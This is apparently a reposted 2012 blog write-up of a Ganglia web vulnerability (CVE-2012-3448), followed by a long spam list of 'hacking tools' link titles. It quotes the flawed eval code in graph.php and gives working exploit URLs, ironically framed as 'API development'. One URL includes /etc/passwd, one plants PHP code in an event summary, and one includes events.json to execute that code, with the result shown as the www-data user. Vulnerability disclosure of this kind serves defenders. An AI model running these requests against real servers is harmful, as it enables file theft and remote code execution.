http://console-cowboys.blogspot.com/2012/01/ganglia-monitoring-system-lfi.html
I recently grabbed the latest version of the Ganglia web application to take a look to see if this issue has been fixed and I was pleasantly surprised... github is over here -
https://github.com/ganglia/ganglia-web
Looking at the code the following (abbreviated "graph.php") sequence can be found -
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
....
$graph_arguments = NULL;
$pos = strpos($graph, ",");
$graph_arguments = substr($graph, $pos + 1);
....
eval('$graph_function($rrdtool_graph,' . $graph_arguments . ');');
I can only guess that this previous snippet of code was meant to be used as some sort of API put in place for remote developers, unfortunately it is slightly broken. For some reason when this API was being developed part of its interface was wrapped in the following function -
function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}
According the the PHP documentation -
Following characters are preceded by a backslash: #&;`|*?~<>^()[]{}$\, \x0A and \xFF. ' and " are escaped only if they are not paired. In Windows, all these characters plus % are replaced by a space instead.
This limitation of the API means we cannot simply pass in a function like eval, exec, system, or use backticks to create our Ganglia extension. Our only option is to use PHP functions that do not require "(" or ")" a quick look at the available options (http://www.php.net/manual/en/reserved.keywords.php) it looks like "include" would work nicely. An example API request that would help with administrative reporting follows:
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/etc/passwd'
Very helpful, we can get a nice report with a list of current system users. Reporting like this is a nice feature but what we really would like to do is create a new extension that allows us to execute system commands on the Ganglia system. After a brief examination of the application it was found that we can leverage some other functionality of the application to finalize our Ganglia extension. The "events" page allows for a Ganglia user to configure events in the system, I am not exactly sure what type of events you would configure, but I hope that I am invited.
As you can see in the screen shot I have marked the "Event Summary" with "php here". When creating our API extension event we will fill in this event with the command we wish to run, see the following example request -
http://192.168.18.157/gang/api/events.php?action=add&summary=<%3fphp+echo+`whoami`%3b+%3f>&start_time=07/01/2012%2000:00%20&end_time=07/02/2012%2000:00%20&host_regex=
This request will set up an "event" that will let everyone know who you are, that would be the friendly thing to do when attending an event. We can now go ahead and wire up our API call to attend our newly created event. Since we know that Ganglia keeps track of all planned events in the following location "/var/lib/ganglia/conf/events.json" lets go ahead and include this file in our API call -
http://192.168.18.157/gang/graph.php?g=cpu_report,include+'/var/lib/ganglia/conf/events.json'
As you can see we have successfully made our API call and let everyone know at the "event" that our name is "www-data". From here I will leave the rest of the API development up to you. I hope this article will get you started on your Ganglia API development and you are able to implement whatever functionality your environment requires. Thanks for following along.
Update: This issue has been assigned CVE-2012-3448
Related links
- Ethical Hacker Tools
- Hacker Tools Apk Download
- Hack Tools Online
- Pentest Tools Linux
- Hacker Tools Hardware
- Hacks And Tools
- Hacker Tools Software
- Hacking Tools For Windows 7
- Tools 4 Hack
- Hacking Tools Usb
- How To Make Hacking Tools
- Hackrf Tools
- Hacking Tools Name
- Easy Hack Tools
- Hacking Tools
- Hak5 Tools
- Pentest Box Tools Download
- Hacking Tools 2020
- Bluetooth Hacking Tools Kali
- Hacker Tools 2019
- Hak5 Tools
- Hacker Tools Software
- Pentest Tools Windows
- Growth Hacker Tools
- Hacker Tools Apk
- Underground Hacker Sites
- Growth Hacker Tools
- Hack Tools Pc
- Hacker Tools 2019
- Pentest Tools Linux
- What Is Hacking Tools
- Hacking Tools Download
- Kik Hack Tools
- Nsa Hack Tools
- Hacker Tools Hardware
- Hacking Tools For Beginners
- Hacking Tools For Windows
- Hacking Tools Download
- Top Pentest Tools
- Hack Tool Apk
- Hacker Security Tools
- Pentest Tools Subdomain
- Hacking Tools Windows 10
- Black Hat Hacker Tools
- Pentest Tools Free
- Game Hacking
- Hacking Tools 2020
- Pentest Automation Tools
- Hacking Tools For Games
- Nsa Hacker Tools
- Pentest Tools Review
- Best Hacking Tools 2019
- Hack Tools Online
- Best Hacking Tools 2019
- Hacking Tools Pc
- Hack Tool Apk No Root
- Install Pentest Tools Ubuntu
- Github Hacking Tools
- Hacker Tools For Mac
- Hack Tool Apk No Root
- Hacking Tools Download
- Pentest Tools Subdomain
- Hak5 Tools
- How To Hack
- Hack Tools For Mac
- Pentest Tools Free
- Tools For Hacker
- Hackrf Tools
- Usb Pentest Tools
- Hack Tool Apk No Root
- New Hacker Tools
- Pentest Tools Framework
- How To Hack
- Hacking Tools For Games
- Hack Tools For Ubuntu
- Pentest Tools Alternative
- Best Hacking Tools 2020
- Hacker Tools Windows
- Usb Pentest Tools
- What Is Hacking Tools
- Pentest Tools Alternative
- Hacker Tools For Ios
- Hacking Tools For Kali Linux
- Hacker Hardware Tools
- Hack Apps
- Hacker Tools Apk Download
- Pentest Tools Url Fuzzer
- Hacker Tools Free
- Hacker Tools Software
- Pentest Tools Windows
- Hacker Tools Mac
- How To Install Pentest Tools In Ubuntu
- Hack Rom Tools
- Hackrf Tools
- Bluetooth Hacking Tools Kali
- Kik Hack Tools
- Pentest Tools Bluekeep
- Hacker Security Tools
- Hack Tools Github
- How To Hack
- Hacking Tools For Mac
- Pentest Tools Free
- Hacking Tools Hardware
- Hacker Tools Online
- Hack Tools
- Pentest Tools Nmap
- Install Pentest Tools Ubuntu
- Hacker Tools List
- Pentest Tools For Android
- Pentest Tools Tcp Port Scanner
- Hacker Tools
- Hacking Tools Mac
- Hacker Tools Mac
- Tools 4 Hack
- Pentest Recon Tools
- Hacking Tools Name
- Hack Website Online Tool
- Hack Tools For Mac
- Hacker Tools For Windows
- Hacker Tools List
- Hacker Tools For Mac
- Hacker
- Hack Tools For Mac
- Hacking Tools For Windows
- Hack Tools For Mac
- Hack Tools For Windows
- Hacking Tools For Games
- Hacking Tools Free Download
- Game Hacking
- Hacking Tools And Software
- Github Hacking Tools
- Nsa Hack Tools Download
- Hacker Tools Apk Download
- Hacking Tools For Games
- Hackers Toolbox
- Hacking Apps
- Pentest Tools For Mac
- Hack Website Online Tool
No hay comentarios:
Publicar un comentario